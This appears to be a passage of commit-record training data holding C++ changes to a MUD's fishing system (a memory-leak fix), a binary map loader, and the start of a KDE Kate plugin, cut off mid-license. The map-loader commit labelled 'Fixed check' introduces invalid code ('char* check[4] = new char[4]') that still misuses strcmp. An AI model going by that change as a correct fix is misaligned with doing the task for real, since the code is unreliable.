polechance=(int)(((float)((float)(pole->obj_flags.cost*2)\/(float)polemax))*25);\n\t  catchchance=::number(1,100);\n\t  \n\n\t  \/\/\t  vlogf(LOG_PEEL, fmt(\"fishing: baitcost=%i, bait=%i, pole=%i, catch=%i\") % \n\t  \/\/\tbait->obj_flags.cost % baitchance % polechance % catchchance);\n  \n\t  if((ch->bSuccess(SKILL_FISHING) ||\n\t      (!ch->doesKnowSkill(SKILL_FISHING) && !::number(0,99))) &&\n\t     (catchchance<(baitchance+polechance)) &&\n\t     (fish=catch_a_fish(rp)) &&\n\t     (::number(5,10) > rp->getFished())){\n            *ch += *fish;\n\n\t    \/\/\t    gain_exp(ch, fish->getWeight() * 10, -1);\n\t    int lvl=ch->GetMaxLevel();\n\t    if(lvl>15)\n\t      lvl-=15;\n\t    else\n\t      lvl=1;\n\n\t    \/\/ 10% exp variance\n\t    double exp=mob_exp(lvl);\n\t    exp *= (1.0+((::number(0,20)-10)\/100.0));\n\t    \n\t    gain_exp(ch, exp\/50, -1);\n\n\t    ch->doSave(SILENT_YES);\n\n\t    act(\"You reel in $p!\",\n\t\tFALSE, ch, fish, 0, TO_CHAR);\n\t    act(\"$n reels in $p!\",\n\t\tTRUE, ch, fish, 0, TO_ROOM);\n\t  } else {\n\t    if(fish)\n\t      delete fish;\n\n\t    act(\"You didn't catch anything.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n doesn't catch anything.\",\n\t\tTRUE, ch, NULL, 0, TO_ROOM);\n\n            \/\/ Don't reveal to the fisherman that there isn't any more fish\n            \/\/ in the room.\n            \/*\n\t    if(rp->getFished()>10){\n\t      act(\"This place seems all fished out.\",\n\t\t  FALSE, ch, NULL, 0, TO_CHAR);\n\t    }\n            *\/\n\t  }\n\t  ch->stopTask();\n          break;\n      }\n      break;\n    case CMD_ABORT:\n    case CMD_STOP:\n      act(\"You cease fishing.\",\n          FALSE, ch, 0, 0, TO_CHAR);\n      act(\"$n stops fishing.\",\n          TRUE, ch, 0, 0, TO_ROOM);\n      ch->stopTask();\n      break;\n    case CMD_TASK_FIGHTING:\n      ch->sendTo(\"You have not yet mastered the art of fighting while fishing.\\n\\r\");\n      ch->stopTask();\n      break;\n    default:\n      if (cmd < MAX_CMD_LIST)\n        warn_busy(ch);\n      break;                    \/\/ eat the command\n  }\n  return TRUE;\n}\n\n\/\/ procFishRespawning\nprocFishRespawning::procFishRespawning(const int &p)\n{\n  trigger_pulse=p;\n  name=\"procFishRespawning\";\n}\n\nvoid procFishRespawning::run(int pulse) const\n{\n  map <int, bool> ::iterator tIter     = mRoomsFished.begin(),\n                             tLastGood = mRoomsFished.begin();\n\n  while (tIter != mRoomsFished.end()) {\n    TRoom * tRoom = real_roomp((*tIter).first);\n\n    if (!tRoom) {\n      vlogf(LOG_BUG, fmt(\"handleFishRespawning() handling non-existent room! (%d)\") % (*tIter).first);\n      continue;\n    }\n\n    \/\/ Make it only a chance.\n    if ((tRoom->getFished() > 0) && !::number(0, 24))\n      tRoom->setFished(tRoom->getFished() - 1);\n\n    if (tRoom->getFished() < 1) {\n      if (tIter == tLastGood) {\n        mRoomsFished.erase(tIter);\n        tIter = tLastGood = mRoomsFished.begin();\n      } else {\n        mRoomsFished.erase(tIter);\n        tIter = tLastGood;\n      }\n    } else\n      tLastGood = tIter;\n\n    if (tIter == mRoomsFished.end())\n      break;\n\n    ++tIter;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdsneezy.h\"\n#include \"obj_tool.h\"\n\nvoid TBeing::doFish(const char *direction){\n  TRoom *rp;\n  roomDirData *exitp;\n  const int ROOM_FISHING_SHACK=31818;\n\n  if(!(exitp = exitDir(getDirFromChar(direction))) || !direction){\n    rp=roomp;\n  } else {\n    if(!exitp->to_room || !(rp = real_roomp(exitp->to_room))){\n      rp=roomp;      \n    }\n  }\n\n  if(rp->isUnderwaterSector()){\n    sendTo(\"You can't fish underwater!\\n\\r\");\n    return;\n  }\n  if(!rp->isWaterSector()){\n    sendTo(\"You can't fish on land!\\n\\r\");\n    return;\n  }\n\n\n  if(task){\n    stopTask();\n  }\n\n  sendTo(\"You start fishing.\\n\\r\");\n\n  if(getCond(DRUNK) > 10 && !::number(0,3) &&\n     (inRoom() < 31800 || inRoom() > 31899)){\n\n    sendTo(\"All of this drunken fishing has caused you to pass out.\\n\\r\");\n    sendTo(\"Strange things begin running through your mind...\\n\\r\");\n\n    setPosition(POSITION_SLEEPING);\n\n    TRoom *room = real_roomp(ROOM_FISHING_SHACK);\n    --(*this);\n    *room += *this;    \n  }\n\n  start_task(this, NULL, rp, TASK_FISHING, \"\", 2, inRoom(), 0, 0, 5);\n}\n\n\nTObj *catch_a_fish(TRoom *rp){\n  TObj *fish=NULL;\n  int nfresh=18, nmarine=25, nice=5;\n  int num=0;\n  const int freshfishes[]={13800, 13801, 13802, 13803, 13804, 13805, 13806,\n\t\t\t   13807, 13816, 13817, 13818, 13819, 13820, 13821,\n\t\t\t   13822, 13823, 13824, 13896};\n  const int marinefishes[]={13808, 13809, 13810, 13811, 13812, 13813, 13814,\n\t\t\t    13815, 13825, 13826, 13827, 13828, 13829, 13830,\n\t\t\t    13831, 13832, 13833, 13834, 13835, 13836, 13837,\n\t\t\t    13838, 13839, 13840, 13897};\n  const int icefishes[]={13875, 13876, 13877, 13878, 13879};\n  float weightmod=(((float)(::number(0,100))-50.0)\/100.0)+1.0;  \/\/ plus or minus 30%\n\n  \/\/  vlogf(LOG_PEEL, \"weightmod=%f\", weightmod);\n\n  if(!::number(0,99)){  \/\/ 1 in 100\n    \/\/ big one\n    weightmod = 2 + ((float)::number(0,100)\/100.0); \/\/ 2-3\n    \n    if(!::number(0,99)){ \/\/ 1 in 10000\n      \/\/ real big one\n      weightmod = 3 + ((float)::number(0,100)\/100.0); \/\/ 3-4\n\n      if(!::number(0,99)){ \/\/ 1 in 1000000\n\t\/\/ REAL big one\n\tweightmod = 4 + ((float)::number(0,100)\/100.0); \/\/ 4-5\n\n\tif(!::number(0,99)){ \/\/ 1 in 100000000\n\t  \/\/ freak of nature\n\t  weightmod = 5 + ((float)::number(0,500)\/100.0); \/\/ 5-10\n\t}\n      }\n    }\n  }\n\n  \n  bool adjustsize=true;\n  if(rp->getSectorType() == SECT_ICEFLOW){\n    num=::number(0,nmarine+nice-1);\n    if(num<nice)\n      fish=read_object(icefishes[num], VIRTUAL);\n    else\n      fish=read_object(marinefishes[num-nice], VIRTUAL);\n  } else if(rp->isOceanSector()){\n    if(!::number(0,nmarine)){\n      fish=read_object(12445, VIRTUAL); \/\/ some random crap item\n      adjustsize=false;\n    } else {\n      fish=read_object(marinefishes[::number(0,nmarine-1)], VIRTUAL);\n    }\n  } else { \/\/ if(rp->isRiverSector()){  \/\/ river or pond or lake or whatever\n    fish=read_object(freshfishes[::number(0,nfresh-1)], VIRTUAL);\n  }\n\n  if(adjustsize){\n    fish->setWeight(fish->getWeight()*weightmod);\n    fish->setVolume(fish->getWeight()*200);\n  }\n\n  rp->setFished(rp->getFished()+1);\n\n  return fish;\n}\n\n\nTThing *findBait(TThing *stuff){\n  TThing *tt;\n  TTool *bait;\n  TThing *ret;\n\n  if(!stuff) \n    return NULL;\n\n  for(tt=stuff;tt;tt=tt->nextThing){\n    if(tt && (bait=dynamic_cast<TTool *>(tt)) &&\n       (bait->getToolType() == TOOL_FISHINGBAIT))\n      return tt;\n\n    if(tt && tt->getStuff() && (ret=findBait(tt->getStuff())))\n      return ret;\n  }\n\n  return NULL;\n}\n\n\n\n\nint task_fishing(TBeing *ch, cmdTypeT cmd, const char *, int pulse, TRoom *rp, TObj *)\n{\n  TTool *bait=NULL;\n  TThing *t=NULL, *tpole=NULL;\n  char buf[256];\n  TObj *fish=NULL, *pole=NULL;\n  int baitmax=1000, baitchance=0;\n  int polemax=5000, polechance=0;\n  int catchchance=0;\n\n\n  if(ch->utilityTaskCommand(cmd) || ch->nobrainerTaskCommand(cmd))\n    return FALSE;\n\n  \/\/ basic tasky safechecking\n  if (ch->isLinkdead() || (ch->in_room != ch->task->wasInRoom)){\n    act(\"You cease fishing.\",\n        FALSE, ch, 0, 0, TO_CHAR);\n    act(\"$n stops fishing.\",\n        TRUE, ch, 0, 0, TO_ROOM);\n    ch->stopTask();\n    return FALSE; \/\/ returning FALSE lets command be interpreted\n  }\n\n  TThing *ss=ch->getStuff();\n\n  \/\/ find our bait here\n  t=findBait(ss);\n  \n  int m=WEAR_NOWHERE;\n  while(!t && m<MAX_WEAR){\n    ++m;\n    t=findBait(ch->equipment[m]);\n  }\n\n\n  bait=dynamic_cast<TTool *>(t);\n\n  if(!bait){\n    ch->sendTo(\"You need to have some bait to fish.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  \n  \/\/ find our pole here\n  if((!(tpole=ch->heldInPrimHand()) && !(tpole = ch->heldInSecHand())) ||\n     !isname(\"fishingpole\", tpole->name)){\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  if(!(pole=dynamic_cast<TObj *>(tpole))){\n    vlogf(LOG_BUG, \"Hmm got a fishing pole that isn't a TObj\");\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n\n  \/*\n    do generic checks here\n   *\/\n\n\n  if(rp && !rp->isWaterSector()){\n    ch->sendTo(\"You can't fish on land!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n  if (ch->task && ch->task->timeLeft < 0){\n    ch->sendTo(\"You pack up and stop fishing.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n  switch (cmd) {\n    case CMD_TASK_CONTINUE:\n      ch->task->calcNextUpdate(pulse, PULSE_MOBACT * 5);\n\n      switch (ch->task->timeLeft) {\n\tcase 2:\n\t  \/\/ check for out of bait\n\t  bait->addToToolUses(-1);\n\t  if (bait->getToolUses() <= 0) {\n\t    act(\"Oops, you're out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n looks startled as $e realizes that $e is out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_ROOM);\n\t    ch->stopTask();\n\t    delete bait;\n\t    return FALSE;\n\t  }\n\n\n\t  snprintf(buf, 256, \"You bait %s with $p.\", pole->shortDescr);\n\t  act(buf, FALSE, ch, bait, 0, TO_CHAR);\n\n\t  snprintf(buf, 256, \"$n baits %s with $p.\", pole->shortDescr);\n          act(buf, TRUE, ch, bait, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 1:\n          act(\"You cast your line out.\",\n              FALSE, ch, NULL, 0, TO_CHAR);\n\t  act(\"$n casts $s line out.\",\n              TRUE, ch, NULL, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 0:\n\t  baitchance=(int)(((float)((float)(bait->obj_flags.cost*2)\/(float)baitmax))*25);\n\t  polechance=(int)(((float)((float)(pole->obj_flags.cost*2)\/(float)polemax))*25);\n\t  catchchance=::number(1,100);\n\t  \n\n#if 0\n\t  vlogf(LOG_PEEL, \"fishing: baitcost=%i, bait=%i, pole=%i, catch=%i\",\n\t\tbait->obj_flags.cost, baitchance, polechance, catchchance);\n#endif\t\n  \n\t  if((bSuccess(ch, ch->getSkillValue(SKILL_FISHING), SKILL_FISHING) ||\n\t      (!ch->doesKnowSkill(SKILL_FISHING) && !::number(0,99))) &&\n\t     (catchchance<(baitchance+polechance)) &&\n\t     (fish=catch_a_fish(rp)) &&\n\t     (::number(5,10) > rp->getFished())){\n            *ch += *fish;\n\n\t    ch->addToExp(fish->getWeight() * 5);\n\n\t    act(\"You reel in $p!\",\n\t\tFALSE, ch, fish, 0, TO_CHAR);\n\t    act(\"$n reels in $p!\",\n\t\tTRUE, ch, fish, 0, TO_ROOM);\n\t  } else {\n\t    act(\"You didn't catch anything.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n doesn't catch anything.\",\n\t\tTRUE, ch, NULL, 0, TO_ROOM);\n\n\t    if(rp->getFished()>10){\n\t      act(\"This place seems all fished out.\",\n\t\t  FALSE, ch, NULL, 0, TO_CHAR);\n\t    }\n\t  }\n\t  ch->stopTask();\n          break;\n      }\n      break;\n    case CMD_ABORT:\n    case CMD_STOP:\n      act(\"You cease fishing.\",\n          FALSE, ch, 0, 0, TO_CHAR);\n      act(\"$n stops fishing.\",\n          TRUE, ch, 0, 0, TO_ROOM);\n      ch->stopTask();\n      break;\n    case CMD_TASK_FIGHTING:\n      ch->sendTo(\"You have not yet mastered the art of fighting while fishing.\\n\\r\");\n      ch->stopTask();\n      break;\n    default:\n      if (cmd < MAX_CMD_LIST)\n        warn_busy(ch);\n      break;                    \/\/ eat the command\n  }\n  return TRUE;\n}\n\n<commit_msg>fixed a memory link (discarded fish object not deleted)<commit_after>#include \"stdsneezy.h\"\n#include \"obj_tool.h\"\n\nvoid TBeing::doFish(const char *direction){\n  TRoom *rp;\n  roomDirData *exitp;\n  const int ROOM_FISHING_SHACK=31818;\n\n  if(!(exitp = exitDir(getDirFromChar(direction))) || !direction){\n    rp=roomp;\n  } else {\n    if(!exitp->to_room || !(rp = real_roomp(exitp->to_room))){\n      rp=roomp;      \n    }\n  }\n\n  if(rp->isUnderwaterSector()){\n    sendTo(\"You can't fish underwater!\\n\\r\");\n    return;\n  }\n  if(!rp->isWaterSector()){\n    sendTo(\"You can't fish on land!\\n\\r\");\n    return;\n  }\n\n\n  if(task){\n    stopTask();\n  }\n\n  sendTo(\"You start fishing.\\n\\r\");\n\n  if(getCond(DRUNK) > 10 && !::number(0,3) &&\n     (inRoom() < 31800 || inRoom() > 31899)){\n\n    sendTo(\"All of this drunken fishing has caused you to pass out.\\n\\r\");\n    sendTo(\"Strange things begin running through your mind...\\n\\r\");\n\n    setPosition(POSITION_SLEEPING);\n\n    TRoom *room = real_roomp(ROOM_FISHING_SHACK);\n    --(*this);\n    *room += *this;    \n  }\n\n  start_task(this, NULL, rp, TASK_FISHING, \"\", 2, inRoom(), 0, 0, 5);\n}\n\n\nTObj *catch_a_fish(TRoom *rp){\n  TObj *fish=NULL;\n  int nfresh=18, nmarine=25, nice=5;\n  int num=0;\n  const int freshfishes[]={13800, 13801, 13802, 13803, 13804, 13805, 13806,\n\t\t\t   13807, 13816, 13817, 13818, 13819, 13820, 13821,\n\t\t\t   13822, 13823, 13824, 13896};\n  const int marinefishes[]={13808, 13809, 13810, 13811, 13812, 13813, 13814,\n\t\t\t    13815, 13825, 13826, 13827, 13828, 13829, 13830,\n\t\t\t    13831, 13832, 13833, 13834, 13835, 13836, 13837,\n\t\t\t    13838, 13839, 13840, 13897};\n  const int icefishes[]={13875, 13876, 13877, 13878, 13879};\n  float weightmod=(((float)(::number(0,100))-50.0)\/100.0)+1.0;  \/\/ plus or minus 30%\n\n  \/\/  vlogf(LOG_PEEL, \"weightmod=%f\", weightmod);\n\n  if(!::number(0,99)){  \/\/ 1 in 100\n    \/\/ big one\n    weightmod = 2 + ((float)::number(0,100)\/100.0); \/\/ 2-3\n    \n    if(!::number(0,99)){ \/\/ 1 in 10000\n      \/\/ real big one\n      weightmod = 3 + ((float)::number(0,100)\/100.0); \/\/ 3-4\n\n      if(!::number(0,99)){ \/\/ 1 in 1000000\n\t\/\/ REAL big one\n\tweightmod = 4 + ((float)::number(0,100)\/100.0); \/\/ 4-5\n\n\tif(!::number(0,99)){ \/\/ 1 in 100000000\n\t  \/\/ freak of nature\n\t  weightmod = 5 + ((float)::number(0,500)\/100.0); \/\/ 5-10\n\t}\n      }\n    }\n  }\n\n  \n  bool adjustsize=true;\n  if(rp->getSectorType() == SECT_ICEFLOW){\n    num=::number(0,nmarine+nice-1);\n    if(num<nice)\n      fish=read_object(icefishes[num], VIRTUAL);\n    else\n      fish=read_object(marinefishes[num-nice], VIRTUAL);\n  } else if(rp->isOceanSector()){\n    if(!::number(0,nmarine)){\n      fish=read_object(12445, VIRTUAL); \/\/ some random crap item\n      adjustsize=false;\n    } else {\n      fish=read_object(marinefishes[::number(0,nmarine-1)], VIRTUAL);\n    }\n  } else { \/\/ if(rp->isRiverSector()){  \/\/ river or pond or lake or whatever\n    fish=read_object(freshfishes[::number(0,nfresh-1)], VIRTUAL);\n  }\n\n  if(adjustsize){\n    fish->setWeight(fish->getWeight()*weightmod);\n    fish->setVolume(fish->getWeight()*200);\n  }\n\n  rp->setFished(rp->getFished()+1);\n\n  return fish;\n}\n\n\nTThing *findBait(TThing *stuff){\n  TThing *tt;\n  TTool *bait;\n  TThing *ret;\n\n  if(!stuff) \n    return NULL;\n\n  for(tt=stuff;tt;tt=tt->nextThing){\n    if(tt && (bait=dynamic_cast<TTool *>(tt)) &&\n       (bait->getToolType() == TOOL_FISHINGBAIT))\n      return tt;\n\n    if(tt && tt->getStuff() && (ret=findBait(tt->getStuff())))\n      return ret;\n  }\n\n  return NULL;\n}\n\n\n\n\nint task_fishing(TBeing *ch, cmdTypeT cmd, const char *, int pulse, TRoom *rp, TObj *)\n{\n  TTool *bait=NULL;\n  TThing *t=NULL, *tpole=NULL;\n  char buf[256];\n  TObj *fish=NULL, *pole=NULL;\n  int baitmax=1000, baitchance=0;\n  int polemax=5000, polechance=0;\n  int catchchance=0;\n\n\n  if(ch->utilityTaskCommand(cmd) || ch->nobrainerTaskCommand(cmd))\n    return FALSE;\n\n  \/\/ basic tasky safechecking\n  if (ch->isLinkdead() || (ch->in_room != ch->task->wasInRoom)){\n    act(\"You cease fishing.\",\n        FALSE, ch, 0, 0, TO_CHAR);\n    act(\"$n stops fishing.\",\n        TRUE, ch, 0, 0, TO_ROOM);\n    ch->stopTask();\n    return FALSE; \/\/ returning FALSE lets command be interpreted\n  }\n\n  TThing *ss=ch->getStuff();\n\n  \/\/ find our bait here\n  t=findBait(ss);\n  \n  int m=WEAR_NOWHERE;\n  while(!t && m<MAX_WEAR){\n    ++m;\n    t=findBait(ch->equipment[m]);\n  }\n\n\n  bait=dynamic_cast<TTool *>(t);\n\n  if(!bait){\n    ch->sendTo(\"You need to have some bait to fish.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  \n  \/\/ find our pole here\n  if((!(tpole=ch->heldInPrimHand()) && !(tpole = ch->heldInSecHand())) ||\n     !isname(\"fishingpole\", tpole->name)){\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n  if(!(pole=dynamic_cast<TObj *>(tpole))){\n    vlogf(LOG_BUG, \"Hmm got a fishing pole that isn't a TObj\");\n    ch->sendTo(\"You need to hold a fishing pole to fish!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n\n  \/*\n    do generic checks here\n   *\/\n\n\n  if(rp && !rp->isWaterSector()){\n    ch->sendTo(\"You can't fish on land!\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n  if (ch->task && ch->task->timeLeft < 0){\n    ch->sendTo(\"You pack up and stop fishing.\\n\\r\");\n    ch->stopTask();\n    return FALSE;\n  }\n\n\n  switch (cmd) {\n    case CMD_TASK_CONTINUE:\n      ch->task->calcNextUpdate(pulse, PULSE_MOBACT * 5);\n\n      switch (ch->task->timeLeft) {\n\tcase 2:\n\t  \/\/ check for out of bait\n\t  bait->addToToolUses(-1);\n\t  if (bait->getToolUses() <= 0) {\n\t    act(\"Oops, you're out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n looks startled as $e realizes that $e is out of bait.\",\n\t\tFALSE, ch, NULL, 0, TO_ROOM);\n\t    ch->stopTask();\n\t    delete bait;\n\t    return FALSE;\n\t  }\n\n\n\t  snprintf(buf, 256, \"You bait %s with $p.\", pole->shortDescr);\n\t  act(buf, FALSE, ch, bait, 0, TO_CHAR);\n\n\t  snprintf(buf, 256, \"$n baits %s with $p.\", pole->shortDescr);\n          act(buf, TRUE, ch, bait, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 1:\n          act(\"You cast your line out.\",\n              FALSE, ch, NULL, 0, TO_CHAR);\n\t  act(\"$n casts $s line out.\",\n              TRUE, ch, NULL, 0, TO_ROOM);\n          ch->task->timeLeft--;\n          break;\n\tcase 0:\n\t  baitchance=(int)(((float)((float)(bait->obj_flags.cost*2)\/(float)baitmax))*25);\n\t  polechance=(int)(((float)((float)(pole->obj_flags.cost*2)\/(float)polemax))*25);\n\t  catchchance=::number(1,100);\n\t  \n\n#if 0\n\t  vlogf(LOG_PEEL, \"fishing: baitcost=%i, bait=%i, pole=%i, catch=%i\",\n\t\tbait->obj_flags.cost, baitchance, polechance, catchchance);\n#endif\t\n  \n\t  if((bSuccess(ch, ch->getSkillValue(SKILL_FISHING), SKILL_FISHING) ||\n\t      (!ch->doesKnowSkill(SKILL_FISHING) && !::number(0,99))) &&\n\t     (catchchance<(baitchance+polechance)) &&\n\t     (fish=catch_a_fish(rp)) &&\n\t     (::number(5,10) > rp->getFished())){\n            *ch += *fish;\n\n\t    ch->addToExp(fish->getWeight() * 5);\n\n\t    act(\"You reel in $p!\",\n\t\tFALSE, ch, fish, 0, TO_CHAR);\n\t    act(\"$n reels in $p!\",\n\t\tTRUE, ch, fish, 0, TO_ROOM);\n\t  } else {\n\t    if(fish)\n\t      delete fish;\n\n\t    act(\"You didn't catch anything.\",\n\t\tFALSE, ch, NULL, 0, TO_CHAR);\n\t    act(\"$n doesn't catch anything.\",\n\t\tTRUE, ch, NULL, 0, TO_ROOM);\n\n\t    if(rp->getFished()>10){\n\t      act(\"This place seems all fished out.\",\n\t\t  FALSE, ch, NULL, 0, TO_CHAR);\n\t    }\n\t  }\n\t  ch->stopTask();\n          break;\n      }\n      break;\n    case CMD_ABORT:\n    case CMD_STOP:\n      act(\"You cease fishing.\",\n          FALSE, ch, 0, 0, TO_CHAR);\n      act(\"$n stops fishing.\",\n          TRUE, ch, 0, 0, TO_ROOM);\n      ch->stopTask();\n      break;\n    case CMD_TASK_FIGHTING:\n      ch->sendTo(\"You have not yet mastered the art of fighting while fishing.\\n\\r\");\n      ch->stopTask();\n      break;\n    default:\n      if (cmd < MAX_CMD_LIST)\n        warn_busy(ch);\n      break;                    \/\/ eat the command\n  }\n  return TRUE;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"map.h\"\n\n#include <cassert>\n\nvoid Map::load(FILE* map) {\n\tTile t;\n\tuint32_t type, tileheight, point;\n\tuint8_t tilesize, field;\n\tuint8_t check[4] = \"  \";\n\tuint16_t version;\n\tfread(&check, 1, 2, map);\n\tfread(&version, 2, 1, map);\n\tassert(strcmp(check, \"RR\") == 0);\n\/\/\tassert(version == 1);\n\tfread(&width, 4, 1, map);\n\tfread(&height, 4, 1, map);\n\tfor (unsigned int i = 0; i < width*height; i++) { \/\/ For every tile\n\t\tfread(&tilesize, 1, 1, map); \/\/ Read number of fields in tile\n\t\tfor (unsigned int j = 0; j < tilesize; j++) { \/\/ For every field in the current tile\n\t\t\tfread(&field, 1, 1, map); \/\/ Read field type\n\t\t\tt.type = 0;\n\t\t\tt.height = 0;\n\t\t\tt.point = 0;\n\t\t\tswitch(field) { \/\/ Decide on field type and read into appropriate variable\n\t\t\t\tcase 0: fread(&type, 4, 1, map); break; \/\/ Field type 0 = tile type\n\t\t\t\tcase 1: fread(&tileheight, 4, 1, map); break; \/\/ Field type 1 = tile height\n\t\t\t\tcase 2: fread(&point, 4, 1, map); break; \/\/ Field type 2 = tile number for scripting\n\/\/\t\t\t\tcase 3: fread(&asdf, 1, 1, map); break; \/\/ Field type 3 = ????\n\t\t\t\tdefault: fseek(map, 4, SEEK_CUR); \/\/ Skip the value of the field if its type is unknown\n\t\t\t}\n\t\t\tt.type = type;\n\t\t\tt.height = tileheight;\n\t\t\tt.point = point;\n\t\t}\n\t\ttiles.push_back(t);\n\t}\n}\n\n#if UNIT_TEST\n#include <iostream>\nint main () {\n\tMap map;\n\tFILE* f;\n\tf = fopen(\"test.map\", \"rb\");\n\tmap.load(f);\n\tstd::vector<Tile>::iterator it = map.tiles.begin();\n\tint x, y;\n\tfor(x = 0; x<map.width ; x++) {\n\t\tfor (y = 0; y<map.height; y++) {\n\t\t\tstd::cout << it->type << \"\\t\";\n\t\t\tit++;\n\t\t}\n\t\tstd::cout << \"\\n\";\n\t}\n}\n#endif\n<commit_msg>Fixed check<commit_after>#include \"map.h\"\n\n#include <cstring>\n#include <cassert>\n\nvoid Map::load(FILE* map) {\n\tTile t;\n\tuint32_t type, tileheight, point;\n\tuint8_t tilesize, field;\n\tchar* check[4] = new char[4];\n\tuint16_t version;\n\tfread(&check, 1, 2, map);\n\tfread(&version, 2, 1, map);\n\tassert(strcmp(check, \"RR\") == 0);\n\/\/\tassert(version == 1);\n\tfread(&width, 4, 1, map);\n\tfread(&height, 4, 1, map);\n\tfor (unsigned int i = 0; i < width*height; i++) { \/\/ For every tile\n\t\tfread(&tilesize, 1, 1, map); \/\/ Read number of fields in tile\n\t\tfor (unsigned int j = 0; j < tilesize; j++) { \/\/ For every field in the current tile\n\t\t\tfread(&field, 1, 1, map); \/\/ Read field type\n\t\t\tt.type = 0;\n\t\t\tt.height = 0;\n\t\t\tt.point = 0;\n\t\t\tswitch(field) { \/\/ Decide on field type and read into appropriate variable\n\t\t\t\tcase 0: fread(&type, 4, 1, map); break; \/\/ Field type 0 = tile type\n\t\t\t\tcase 1: fread(&tileheight, 4, 1, map); break; \/\/ Field type 1 = tile height\n\t\t\t\tcase 2: fread(&point, 4, 1, map); break; \/\/ Field type 2 = tile number for scripting\n\/\/\t\t\t\tcase 3: fread(&asdf, 1, 1, map); break; \/\/ Field type 3 = ????\n\t\t\t\tdefault: fseek(map, 4, SEEK_CUR); \/\/ Skip the value of the field if its type is unknown\n\t\t\t}\n\t\t\tt.type = type;\n\t\t\tt.height = tileheight;\n\t\t\tt.point = point;\n\t\t}\n\t\ttiles.push_back(t);\n\t}\n}\n\n#if UNIT_TEST\n#include <iostream>\nint main () {\n\tMap map;\n\tFILE* f;\n\tf = fopen(\"test.map\", \"rb\");\n\tmap.load(f);\n\tstd::vector<Tile>::iterator it = map.tiles.begin();\n\tint x, y;\n\tfor(x = 0; x<map.width ; x++) {\n\t\tfor (y = 0; y<map.height; y++) {\n\t\t\tstd::cout << it->type << \"\\t\";\n\t\t\tit++;\n\t\t}\n\t\tstd::cout << \"\\n\";\n\t}\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/* This file is part of the KDE project\n   Copyright 2011 Hernan E. Grecco <hernan.grecco gmail com>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n\/\/BEGIN Includes\n#include \"kciplugin.h\"\n#include \"kciplugin.moc\"\n\n#include \"kciview.h\"\n#include \"kciconfig.h\"\n\n#include \"kciparser.h\"\n\n#include <kpluginfactory.h>\n#include <kaboutdata.h>\n#include <kdebug.h>\n\n\/\/END Includes\n\nnamespace KateCodeinfo\n{\n\nK_PLUGIN_FACTORY(KatecodeinfoFactory, registerPlugin<Plugin>();)\nK_EXPORT_PLUGIN(KatecodeinfoFactory(KAboutData(\"katecodeinfoplugin\", \"katecodeinfoplugin\", ki18n(\"Codeinfo\"), \"0.1\", ki18n(\"Codeinfo\"), KAboutData::License_LGPL_V2)))\n\nPlugin* Plugin::s_self = 0L;\n\nPlugin::Plugin(QObject* parent, const QList<QVariant>&)\n  : Kate::Plugin((Kate::Application*)parent)\n  , Kate::PluginConfigPageInterface()\n{\n  s_self = this;\n}\n\nPlugin::~Plugin()\n{\n  s_self = 0L;\n}\n\nPlugin& Plugin::self()\n{\n  return *s_self;\n}\n\nKate::PluginView *Plugin::createView(Kate::MainWindow *mainWindow)\n{\n  View* pv = new View(mainWindow);\n  connect(this, SIGNAL(actionsUpdated()),\n          pv, SLOT(updateCmbActions()));\n  return pv;\n}\n\nuint Plugin::configPages() const\n{\n  return 1;\n}\n\nKate::PluginConfigPage* Plugin::configPage(uint number, QWidget *parent, const char *name)\n{\n  if(number == 0) {\n    return new Config(parent, name);\n  }\n\n  return 0L;\n}\n\nQString Plugin::configPageName(uint number) const\n{\n  if(number == 0) {\n    return i18n(\"Codeinfo\");\n  }\n  return QString();\n}\n\nQString Plugin::configPageFullName(uint number) const\n{\n  if(number == 0) {\n    return i18n(\"Codeinfo Settings\");\n  }\n  return QString();\n}\n\nKIcon Plugin::configPageIcon(uint number) const\n{\n  Q_UNUSED(number)\n  return KIcon(\"msg_info\");\n}\n\nvoid Plugin::refreshActions()\n{\n  emit actionsUpdated();\n}\n\n};\n\n\/\/ kate: space-indent on; indent-width 2; replace-tabs on;\n<commit_msg>About was showing the wrong license<commit_after>\/* This file is part of the KDE project\n   Copyright 2011 Hernan E. Grecco <hernan.grecco gmail com>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write 